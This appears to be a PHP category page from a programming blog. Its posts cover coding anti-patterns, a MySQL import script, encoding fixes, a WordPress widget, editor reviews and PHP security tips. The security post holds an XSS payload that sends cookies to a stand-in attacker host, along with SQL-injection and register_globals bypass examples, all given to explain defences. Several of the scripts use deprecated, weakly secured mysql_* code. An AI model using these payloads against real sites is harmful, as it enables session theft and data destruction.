You Are Here Home > PHP

PHP

How Not To Write Code

I’m working on a website and it’s absolutely awful, almost all the design choices are bad so I will compile a list here as I encounter them:

1 – Don’t have fields in your database like “extra1″, “extra2″ or “extra3″ you probably need to refactor and rethink your design…

2 – Don’t have a global object and access and manipulate it from deep inside your code, here for example there is a $tpl variable which – wrongly – is called $class_tpl and it’s global, the authors are calling a pager function to create an array for rendering a pager and after they call they manipulate the $class_tpl a bit by adding paging data to it and you would think that was it, but guess what? In their pager function they again access $class_tpl and manipulate a bit more!!!

3 – Don’t ever, ever, ever, ever query your database from within your templates, never…

4 – Don’t die or exit out of functions, return error messages…

5 – Don’t output out of function either, no “echo $blah;” in a function, they should return the text string rather than printing it…

6 – Don’t ever, ever, ever repeat yourself, if you are too lazy to write a function or rethink that portion of your code, then you suck as a programmer… To be honest, I do suck sometimes, but I try my very best :)

How Not To Write Code
Comments (0)   Filed under: C Programming,General,PHP,Web Development   Posted by: Hamid

Importing GeoWorldMap Database Into MySQL Using PHP

First download the database from:

http://www.geobytes.com/freeservices.htm

Then, create a folder in your server where you can access it via a browser and upload the files in there, then save this script as import.php and upload it into the same folder and then point your browser to this PHP script you just uploaded. Note that you must edit the script and add your own database name/username/password to it before uploading.

<?php
 
   $db_info = array(
      'host' => 'localhost',
      'name' => 'EDIT ME',
      'user' => 'EDIT ME',
      'pass' => 'EDIT ME'
   );
 
   error_reporting(E_ALL);
   ob_end_clean();
 
   function out($string) {
      echo $string;
      flush();
   }
 
   out("<pre>");
 
   function map_fields($table, $row, $index) {
      if ($index == 0)
         return NULL;
      $retval = array();
      switch ($table) {
         case 'country':
            $retval = array(
               'id' => $row[0],
               'name' => $row[1]
            );
            break;
         case 'region':
            $retval = array(
               'id' => $row[0],
               'country_id' => $row[1],
               'name' => $row[2]
            );
            break;
         case 'city':
            $retval = array(
               'id' => $row[0],
               'country_id' => $row[1],
               'region_id' => $row[2],
               'name' => $row[3]
            );
            break;
         default:
            exit("Fatal: Called map_fields with unsupported table: $table\n\n");
      }
      return $retval;
   }
 
   function do_mysql_query($query) {
      if (!mysql_query($query))
         exit("\n\nFatal: do_mysql_query failed with MySQL error: " .mysql_error() ."\n---------------------\nAnd query: $query\n\n");
   }
 
   function create_table($table) {
      out("Creating table: $table...");
      do_mysql_query("
         DROP TABLE IF EXISTS codehead_$table
      ");
      $query = "";
      switch ($table) {
         case 'country':
            $query = "
               CREATE TABLE codehead_country (
                  id INT NOT NULL PRIMARY KEY,
                  name VARCHAR(100),
                  index (name)
               )
            ";
            break;
         case 'region':
            $query = "
               CREATE TABLE codehead_region (
                  id INT NOT NULL PRIMARY KEY,
                  country_id INT NOT NULL,
                  name VARCHAR(100),
                  index (name),
                  index (country_id, name)
               )
            ";
            break;
         case 'city':
            $query = "
               CREATE TABLE codehead_city (
                  id INT NOT NULL PRIMARY KEY,
                  country_id INT NOT NULL,
                  region_id INT NOT NULL,
                  name VARCHAR(100),
                  index (name),
                  index (region_id, name),
                  index (country_id, region_id, name)
               )
            ";
            break;
         default:
            exit("Fatal: Called create_table with unsupported table: $table\n\n");
      }
      do_mysql_query($query);
      out("Done!\n");
   }
 
   function empty_table($table) {
      do_mysql_query("DELETE FROM codehead_$table");
   }
 
   function insert_row_into_table($table, $row) {
      $query = "";
      switch ($table) {
         case 'country':
            $id = intval($row['id']);
            $name = mysql_real_escape_string($row['name']);
            $query = "
               INSERT INTO codehead_country VALUES (
                  $id,
                  '$name'
               )
            ";
            break;
         case 'region':
            $id = intval($row['id']);
            $country_id = intval($row['country_id']);
            $name = mysql_real_escape_string($row['name']);
            $query = "
               INSERT INTO codehead_region VALUES (
                  $id,
                  $country_id,
                  '$name'
               )
            ";
            break;
         case 'city':
            $id = intval($row['id']);
            $country_id = intval($row['country_id']);
            $region_id = intval($row['region_id']);
            $name = mysql_real_escape_string($row['name']);
            $query = "
               INSERT INTO codehead_city VALUES (
                  $id,
                  $country_id,
                  $region_id,
                  '$name'
               )
            ";
            break;
         default:
            exit("Fatal: Called insert_row_into_db with unsupported table: $table\n\n");
      }
      do_mysql_query($query);
   }
 
   $base_dir = dirname(__FILE__);
 
   $tables = array(
      $base_dir .'/Countries.txt' => 'country',
      $base_dir .'/Regions.txt' => 'region',
      $base_dir .'/Cities.txt' => 'city'
   );
 
   $db = mysql_connect($db_info['host'], $db_info['user'], $db_info['pass']);
   if (!$db)
      exit("Fatal: Couldn't connect to MySQL...\n\n");
   if (!mysql_selectdb($db_info['name']))
      exit("Fatal: Couldn't select database...\n\n");
 
   foreach ($tables as $file => $table) {
      if (($fp = fopen($file, 'r')) !== false) {
         create_table($table);
         out("Inserting rows into table: $table");
         $index = 0;
         while (($data = fgetcsv($fp, 10000)) !== false) {
            if ($index == 0) {
               ++$index;
               continue;
            }
            $row = map_fields($table, $data, $index);
            insert_row_into_table($table, $row);
            ++$index;
            out(".");
         }
         fclose($fp);
         out("Done!\n");
      } else
         exit("Fatal: Couldn't open file: $file\n\n");
   }
 
   out("All done!\n\n");
   mysql_close($db);
 
?>
Importing GeoWorldMap Database Into MySQL Using PHP
Comments (1)   Filed under: PHP,Web Development   Posted by: Hamid

PHP: Problem With Displaying French Accented Characters; black diamond…

If you have this problem and your accented characters are being replaced by black diamonds with question marks in them and you tried EVERYTHING you could find and nothing worked and no one seems to know what’s going on and you think it’s PHP or Apache that is causing this issue and you tried changing their configuration directives and you are pulling your hair out then this could be your editor!

Go to it’s preferences, most of them have a section for font encoding, for example in Komodo Edit, go to:

Preferences > Fonts and Colors > Under the Fonts tab > There is the font encoding, choose UTF-8

After this step you might have to change the encoding of the current file, again most editors should be able to do this, refer to your editor’s docs for more info on this, but here is how to do this in Komodo Edit:

Open File > Edit > Current File Settings > In File Settings Box > Change Encoding To UTF-8 > Save

and Voila!

PHP: Problem With Displaying French Accented Characters; black diamond…
Comments (1)   Filed under: Komodo Edit,PHP,Web Design,Web Development   Posted by: Codehead

PHP: Converting YouTube and Vimeo Links To YouTube Player and Vimeo Player

Here is a simple function that will do this for you:

function convert_videos($string) {
	$rules = array(
		'#http://(www\.)?youtube\.com/watch\?v=([^ &\n]+)(&.*?(\n|\s))?#i' => '<object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/$2"></param><embed src="http://www.youtube.com/v/$2" type="application/x-shockwave-flash" width="425" height="350"></embed></object>',
 
		'#http://(www\.)?vimeo\.com/([^ ?\n/]+)((\?|/).*?(\n|\s))?#i' => '<object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=$2&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=$2&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>'
	);
 
	foreach ($rules as $link => $player)
		$string = preg_replace($link, $player, $string);
 
	return $string;
}

Use it simply like this:

echo convert_videos($the_string_that_might_contain_the_link);

I hope this helps someone :)

PHP: Converting YouTube and Vimeo Links To YouTube Player and Vimeo Player
Comments (8)   Filed under: PHP,Web Development   Posted by: Codehead

How To Create WordPress Widgets

No need for a huge fancy post, here is a very simple WordPress widget:

You must paste this code into your theme’s functions.php file located at: /wp-content/themes/YOUR_THEME

class My_Simple_Widget {
 
   function control(){
      $data = get_option('My_Simple_Widget_data');
      ?>
         <p><label>Title:</label> <input name="My_Simple_Widget_title" type="text" value="<?php echo $data['title']; ?>" /></p>
         You can have whatever you want here, even a huge form with any kind of form field you want...
      <?php
      if (isset($_POST['My_Simple_Widget_title'])) {
			$data['title'] = attribute_escape($_POST['My_Simple_Widget_title']);
			update_option('My_Simple_Widget_data', $data);
      }
   }
 
   function widget($args) {
		$data = get_option('My_Simple_Widget_data');
		echo $args['before_widget'];
		echo $args['before_title'] .$data['title'] .$args['after_title'];
		echo 'Here you can have whatever you can imagine...';
		echo $args['after_widget'];
   }
 
}
 
wp_register_sidebar_widget('My_Simple_Widget_ID', 'My Simple Widget Title', array('My_Simple_Widget', 'widget'));
wp_register_widget_control('My_Simple_Widget_ID', 'My Simple Widget Title', array('My_Simple_Widget', 'control'));

This widget will show up in your dashboard under Appearance > Widgets and you can add it to your sidebar.

I hope this helps :)

How To Create WordPress Widgets
Comments (1)   Filed under: PHP,Programming,Web Design,Web Development,Wordpress   Posted by: Codehead

The Best Overall Code Editor Ever: Komodo Edit

A while back I wrote a post about what I think is the best Python code editor but I decided to write an update and write a little more about Komodo Edit…

I use Dreamweaver to write HTML/CSS/JavaScript/PHP code and a few days ago I decided to open Komodo Edit and see how it does with PHP.

I did try other editors for PHP but their support for HTML and CSS was lame and I’m so used to Dreamweaver’s comprehensive code completion features.

Well, I was surprised that Komodo Edit has all those features (& more) and handles PHP/CSS/HTML/JavaScript beatuifully, open a new PHP file and after ?> type:

<a

And then hit space, it will suggest everything Dreamweaver suggests and more! then write:

style=”

And again it will suggest every CSS property, then type:

:

It will suggest all the possible values, more than Dreamweaver…

The other thing is that it will show you function descriptions for all the functions and that could be very handy.

I have to say that I don’t know if I’m going to pay for Dreamweaver ever again and if you are looking for a free and excelent code editor, try Komodo Edit.

I have no affiliation with ActiveState and what I said above is my personal thoughts and ideas and an attempt to show this excellent/free/open-source product to others.

Happy Coding.

The Best Overall Code Editor Ever: Komodo Edit

The Best Python Code Editor: Komodo Edit

I looked for a Python editor a lot, I found Pydev which is a plugin for Eclipse and since Eclipse sucks, it’s ugly and the code looks ugly too, it just kills my creativity, it’s also slow on top of that.

Then I found IronPython plugin for Microsoft Visual Studio, this one requires Visual Studio which is paid and it doesn’t make your life easier, for example if I have:

def some_func():
   pass

Now, after “pass” if I hit “Enter” I want to get back to the beginning of the next line but this wasn’t happening in IronPython. (+ a bunch of other things)

I guess I got spoiled because I use Dreamweaver to write PHP and it just does everything as you expect, it’s smooth and well thought out, much like other Macromedia products; take Fireworks for example, those who use Fireworks and Photoshop know the brilliance behind the design of Fireworks’s UI… Why didn’t Macromedia buy Adobe?!

Anyway, if you are like me and feel the same way, try Komodo Edit. I have nothing to do with it or ActiveState but I have to say that this editor made my life so much easier and I’m not looking back. It also has support for a bunch of other languages like PHP etc.

EDIT: So after using this great text editor for a little while, I decided to write a quick list of pros and cons:

Pros:
1 – It’s free.
2 – It’s open-source.
3 – It’s nice looking. (I care about this, I’m convinced that it effects creativity…)
4 – It’s smooth and fast.
5 – It does what you expect it to do; very intuitive.
6 – It’s written by people who love writing code.
7 – It’s cross-platform.
8 – It supports: PHP, Python, Ruby, Perl and Tcl, plus JavaScript, CSS, HTML and template languages like RHTML, Template-Toolkit, HTML-Smarty and Django.
9 – It supports code completion.
10 – It has great help and docs.

Cons:
None.

Happy Coding…

The Best Python Code Editor: Komodo Edit
Comments (5)   Filed under: Annoying Stuff,IDEs,PHP,Programming,Python,Web Development   Posted by: Codehead

Site Speed Is A New Ranking Factor; 8 tips on how to optimize your site

1 – Reduce the size of your pages.

2 – Switch to CSS and use proper-modern HTML, modern web pages that use CSS for layout properly, are usually smaller in size and faster to load.

3 – If you have a blog, don’t show 50 posts on your front page, show 10, more posts means slower load times. You can set the number of posts on your blog pages in most modern blogging platforms like WordPress.

4 – (developers) Turn off output buffering on large pages so that your site responds quickly to requests by Googlebot, with output buffering on, the output will be captured and saved until it’s fully generated before it’s sent back to Googlebot (or user’s browser)

5 – (developers) Turn on output compression, this will crunch some pages upto (or more than) 80% in size.

6 – Use a browser extension like YSlow so you can get more information on your site’s performance.

7 – (developers) Sometimes you code is slow in places where you least expect, (for PHP developers) use http://codingrecipes.com/finding-and-fixing-bottlenecks-slow-parts-in-your-php-code or something similar to get an idea of where the slow parts are so you can fix them.

8 – Get a Google Webmaster Tools account and you will be able to see more information there as well.

Site Speed Is A New Ranking Factor; 8 tips on how to optimize your site
Comments (1)   Filed under: Performance,PHP,Search Engines,SEO,Web Development   Posted by: Codehead

Script For Counting Number Of Lines Of Code In Your Website; Composite Design Pattern

This is another thread from our forums which we are closing down soon.

This script will count the number of lines in all of your source files recursively. Just place it in any folder and point your browser to it and it will count all the lines including sub directories.

It might run out of memory if your application is huge and your PHP memory limit is low. For me, it counted 97,000 lines in our last project with no problems.

You also have an option to exclude file extensions and directories.

The other thing about this script is that it is a great little example of composite design pattern in action; every directory is an object that will count all the lines (in the files) in it and asks it’s sub directories to do the same, then the sub directories also repeat the same process.

<?php
 
	/**
	 * Counts the lines of code in this folder and all sub folders
	 * You may not sell this script or remove these header comments
	 * @author Hamid Alipour, http://blog.code-head.com/
	**/
 
	define('SHOW_DETAILS', true);
 
	class Folder {
 
		var $name;
		var $path;
		var $folders;
		var $files;
		var $exclude_extensions;
		var $exclude_files;
		var $exclude_folders;
 
 
		function Folder($path) {
			$this -> path 		= $path;
			$this -> name		= array_pop( array_filter( explode(DIRECTORY_SEPARATOR, $path) ) );
			$this -> folders 	= array();
			$this -> files		= array();
			$this -> exclude_extensions = array('gif', 'jpg', 'jpeg', 'png', 'tft', 'bmp', 'rest-of-the-file-extensions-to-exclude');
			$this -> exclude_files 	    = array('count_lines.php', 'rest-of-the-files-to-exclude');
			$this -> exclude_folders 	 = array('_private', '_vti_bin', '_vti_cnf', '_vti_log', '_vti_pvt', '_vti_txt', 'rest-of-the-folders-to-exclude');
		}
 
		function count_lines() {
			if( defined('SHOW_DETAILS') ) echo "/Folder: {$this -> path}...\n";
			$total_lines = 0;
			$this -> get_contents();
			foreach($this -> files as $file) {
				if( in_array($file -> ext, $this -> exclude_extensions) || in_array($file -> name, $this -> exclude_files) ) {
					if( defined('SHOW_DETAILS') ) echo "#---Skipping File: {$file -> name};\n";
					continue;
				}
				$total_lines += $file -> get_num_lines();
			}
			foreach($this -> folders as $folder) {
				if( in_array($folder -> name, $this -> exclude_folders) ) {
					if( defined('SHOW_DETAILS') ) echo "#Skipping Folder: {$folder -> name};\n";
					continue;
				}
				$total_lines += $folder -> count_lines();
			}
			if( defined('SHOW_DETAILS') ) echo "\n Total lines in {$this -> name}: $total_lines;\n\n";
			return $total_lines;
		}
 
		function get_contents() {
			$contents = $this -> _get_contents();
			foreach($contents as $key => $value) {
				if( $value['type'] == 'Folder' ) {
					$this -> folders[] = new Folder($value['item']);
				} else {
					$this -> files[]   = new File  ($value['item']);
				}
			}
		}
 
		function _get_contents() {
			$folder = $this -> path;
			if( !is_dir($folder) ) {
				return array();
			}
			$return_array = array();
			$count		  = 0;
			if( $dh = opendir($folder) ) {
				while( ($file = readdir($dh)) !== false ) {
					if( $file == '.' || $file == '..' ) continue;
					$return_array[$count]['item']	= $folder .$file .(is_dir($folder .$file) ? DIRECTORY_SEPARATOR : '');
					$return_array[$count]['type']	= is_dir($folder .$file) ? 'Folder' : 'File';
					$count++;
				}
				closedir($dh);
			}
			return $return_array;
		}
 
	} // Class
 
	class File {
 
		var $name;
		var $path;
		var $ext;
 
 
		function File($path) {
			$this -> path = $path;
			$this -> name = basename($path);
			$this -> ext  = array_pop( explode('.', $this -> name) );
		}
 
		function get_num_lines() {
			$count_lines = count(file($this -> path));
			if( defined('SHOW_DETAILS') ) echo "|---File: {$this -> name}, lines: $count_lines;\n";
			return $count_lines;
		}
 
	} // Class
 
	$path_to_here = dirname(__FILE__) .DIRECTORY_SEPARATOR;
	$folder 		  = new Folder($path_to_here);
	echo 'Total lines of code: ' .$folder -> count_lines() ."\n\n";
 
?>
Script For Counting Number Of Lines Of Code In Your Website; Composite Design Pattern
Comments (12)   Filed under: Design Patterns,Fun,PHP,Programming,Web Development   Posted by: Codehead

PHP MySQL Web Development Security Tips – 14 tips you should know when developing with PHP and MySQL

We are closing down our forums, it’s time to move on, but we are keeping some important threads, here is one…

PHP MySQL Web Development Security Tips – 14 tips you should know when developing with PHP and MySQL

I read about many of these points in books and tutorials but I was rather lazy to think about many of them initially learned some of these lessons the hard way. Fortunately I didn’t lose any major data over security issues with PHP MySQL, but my suggestion to everyone who is new to PHP is to read these tips and apply them *before* you end up with a big mess.

1. Do not trust user input
If you are expecting an integer call intval() (or use cast) or if you don’t expect a username to have a dash (-) in it, check it with strstr() and prompt the user that this username is not valid.

Here is an example:

$post_id = intval($_GET['post_id']);
mysql_query("SELECT * FROM post WHERE id = $post_id");

Now $post_id will be an integer for sure :)

2. Validate user input on the server side
If you are validating user input with JavaScript, be sure to do it on the server side too, because for bypassing your JavaScript validation a user just needs to turn their JavaScript off.
JavaScript validation is only good to reduce the server load.

3. Do not use user input directly in your SQL queries
Use mysql_real_escape_string() to escape the user input.
PHP.net recommends this function: (well a little different)

  function escape($values) {
   if(is_array($values)) {
    $values = array_map('escape', $values);
   } else {
    /* Quote if not integer */
    if ( !is_numeric($values) || $values{0} == '0' ) {
     $values = "'" .mysql_real_escape_string($values) . "'";
    }
   }
   return $values;
  }

Then you can use it like this:

$username = escape($_POST['username']);
mysql_query("SELECT * FROM user WHERE username = $username"); /* escape() will also adds quotes to strings automatically */

4. In your SQL queries don’t put integers in quotes
For example $id is suppose to be an integer:

$id = "0; DELETE FROM users";
$id = mysql_real_escape_string($id); // 0; DELETE FROM users -  mysql_real_escape_string doesn't escape ;
mysql_query("SELECT * FROM users WHERE id='$id'");

Note that, using intval() would fix the problem here.

5. Always escape the output
This will prevent XSS (Cross Site Scripting) attacks, imagine you receive and save some data from a user and you want to display this data on a web page later (maybe his/her bio or username) and the user puts this bit of code in the input field along with his bio:

<script>alert('');</script>

If you display the raw user input on a web page this will be very ugly, it can even be worse if a user inputs this code instead:

<script>document.location.replace('http://attacker/?c='+document.cookie);</script>

With this, an attacker can steal cookies from whoever visits that certain page (containing bio etc.) and this includes session cookies with session IDs in them so the attacker can hijack your users’ sessions and appear to be logged in as other users.

When displaying user input on a page use htmlentities($user_bio, ENT_QUOTES, ‘UTF-8′);

6. When uploading files, validate the file mime type
If you are expecting images, make sure the file you are receiving is an image or it might be a PHP script that can run on your server and does whatever damage you can imagine.

One quick way is to check the file extension:

$valid_extensions = array('jpg', 'gif', 'png'); // ...
 
$file_name  = basename($_FILES['userfile']['name']);
$_file_name = explode('.', $file_name);
$ext        = $_file_name[ count($_file_name) - 1 ];
 
if( !in_array($ext, $valid_extensions) ) {
 /* This file is invalid */
}

Note that validating extension is a very simple way, and not the best way, to validate file uploads but it’s effective;
simply because unless you have set your server to interpret .jpg files as PHP scripts then you are fine.

7. If you are using 3rd party code libraries, be sure to keep them up to date
If you are using code libraries like Smarty or ADODB etc. be sure to always download the latest version.

8. Give your database users just enough permissions
If a database user is never going to drop tables, then when creating that user don’t give it drop table permissions, normally just SELECT, UPDATE, DELETE, INSERT should be enough.

9. Do not allow hosts other than localhost to connect to your database
If you need to, add only that particular host or IP as necessary but never, ever let everyone connect to your database server.

10. Your library file extensions should be PHP
.inc files will be written to the browser just like text files (unless your server is setup to interpret them as PHP scripts), users will be able to see your messy code (kidding:)) and possibly find exploits or see your passwords etc.
Have extensions like config.inc.php or have a .htaccess file in your extension (templates, libs etc.) folders with this one line:

deny from all

11. Have register globals off or define your variables first
Register globals can be very dangerous, consider this bit of code:

if( user_logged_in() ) {
 $auth = true;
}
 
if( $auth ) {
 /* Do some admin stuff */
}

Now with register globals on an attacker can view this page like this and bypass your authentication:
[url]http://yourwebsite.com/admin.php?auth=1[/url]

If you have registered globals on and you can’t turn it off for some reason you can fix these issues by defining your variables first:

$auth = false;
if( user_logged_in() ) {
 $auth = true;
}
 
if( $auth ) {
 /* Do some admin stuff */
}

Defining your variables first is a good programming practice that I suggest you follow anyway.

12. Keep PHP itself up to date
Just take a look at [url]www.php.net[/url] and see release announcements and note how many security issues they fix on every release to understand why this is important.

13. Read security books
Always find new books about PHP security to read; you can start by reading the 4th book in the Learning PHP Post, which is one of the best books on PHP security and the author is a member of the PHP team so he knows the internals very well.

14. Contribute to this list :)
Feel free to reply to this thread and add to this list, it will be helpful for everyone!

Thanks!
-Codehead

PHP MySQL Web Development Security Tips – 14 tips you should know when developing with PHP and MySQL
Comments (12)   Filed under: PHP,Programming,Web Development   Posted by: Codehead
Older Posts »